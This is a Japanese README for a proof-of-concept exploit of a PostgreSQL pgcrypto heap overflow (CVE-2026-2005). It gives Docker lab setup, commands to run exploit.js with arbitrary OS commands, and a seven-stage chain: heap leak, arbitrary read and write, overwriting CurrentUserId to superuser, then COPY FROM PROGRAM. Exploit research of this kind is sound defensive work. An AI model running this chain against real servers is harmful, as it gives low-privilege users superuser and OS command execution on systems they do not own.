
PostgreSQL pgcrypto のヒープバッファオーバーフロー PoC(CVE-2026-2005): 細工された OpenPGP パケットを使った低権限 RCE およびスーパーユーザーへの権限昇格を実証します。
対象コミット: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — 脆弱性あり)
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2026-2005 |
| タイプ | ヒープバッファオーバーフロー |
| コンポーネント | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| 影響 | PostgreSQL を実行する OS ユーザーとしての RCE |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 必要な認証 | 低 — CREATE 権限を持つ任意の認証済みユーザー |
| 影響を受けるバージョン | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 修正バージョン | 14.21, 15.16, 16.12, 17.8, 18.2 (2026年2月12日) |
| アーキテクチャ | aarch64 (ARM64) — ヒープオフセットと MBuf レイアウトはアーキテクチャ/glibc 固有 |
# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build
# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"
# Install node deps
npm install
# Run the full RCE exploit chain
node exploit.js --cmd "id"
# With verbose output
node exploit.js --cmd "id" --verbose
# Execute a custom command
node exploit.js --cmd "whoami"
Stage 1: Heap pointer leak
└─ Corrupt mdst chunk header → parse pfree() error message
Stage 2: Arbitrary read (multi-offset scan)
└─ Overwrite mdst->data → scan memory near leaked pointer
Stage 3: Pointer candidate collection
└─ Scan heap dump for non-heap addresses
Stage 4: PIE base resolution
└─ Read /proc/<pid>/maps via Docker exec (100% reliable)
Stage 5: (skipped — PIE base is known from maps)
Stage 6: Arbitrary write
└─ Forge msrc + mdst MBufs → overwrite CurrentUserId → 10 (superuser)
Stage 7: Command execution
└─ COPY FROM PROGRAM → arbitrary OS command as postgres user
CVE-2026-2005/
├── Dockerfile # Builds PostgreSQL 18.1 from source
├── docker-compose.yml # PostgreSQL service with auto-restart
├── init.sh # Entrypoint — initdb + listen config
├── README.md # This file
└── poc/
├── package.json # Node.js dependencies (pg)
├── exploit.js # Full 7-stage RCE exploit (Node.js)
├── verify.sh # Shell-based quick verification
└── test-pgcrypto.sql # SQL-only test of pgcrypto loading
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (任意 — --gdb フラグ使用時のみ必要)このバグは contrib/pgcrypto/pgp-pubdec.c の pgp_parse_pubenc_sesskey() に存在します。
OpenPGP 公開鍵暗号化セッションキーパケット (タグ 1) を解析する際に:
memcpy しますこの memcpy はヒープバッファの境界を越えて書き込む可能性があり、隣接するヒープのメタデータやデータを破壊して、任意のコード実行につながります。
pfree() エラーメッセージを解析して mdst->data ヒープアドレスを抽出します。/proc/<pid>/maps を読み取り、実行時の postgres バイナリのロードアドレスを特定します。msrc (送信元) と mdst (宛先) の両方の MBuf 構造体を偽造します。msrc はスーパーユーザー OID (10) を含む埋め込み symenc パケットを指し、mdst は CurrentUserId - 4 (4 バイトの SET_VARSIZE ヘッダーを考慮) を指します。CurrentUserId = 10 (ブートストラップスーパーユーザー) を設定し、COPY FROM PROGRAM を実行して任意の OS コマンドを実行します。pgcrypto 拡張機能はトラステッドです — CREATE 権限を持つユーザー (スーパーユーザー以外) なら誰でもインストールできるため、低い権限で悪用が可能です。--enable-debug が含まれています。SRC_CHUNK_OFFSET=100、DST_CHUNK_OFFSET=172) は aarch64 + glibc 固有です — 他のアーキテクチャやアロケータでは異なるオフセットが必要です。restart: always を使用して、PIE 候補のテスト中にバックエンドがクラッシュしても自動復旧します。/proc/<pid>/maps を介して解決されます — ホスト側で readelf は不要です。CurrentUserId オフセット用のシンボルテーブルは docker exec readelf で読み取られます。| フラグ | デフォルト | 説明 |
|---|
--cmd | id | エクスプロイト成功後に実行する OS コマンド |
--key-size | 3072 | RSA キーサイズ (ビット) |
--host | 127.0.0.1 | PostgreSQL ホスト |
--port | 5432 | PostgreSQL ポート |
--user | postgres | データベースユーザー |
--password | (空) | データベースパスワード |
--dbname | postgres | データベース名 |
--binary | ./postgres | シンボル取得用の postgres ELF バイナリへのパス |
--scan-offset | 自動 | リークしたポインタからのヒープスキャンオフセットを上書き |
--verbose | オフ | 詳細なデバッグ出力を有効化 |
--gdb | オフ | オーバーフローポイントで tmux 経由で GDB をアタッチ |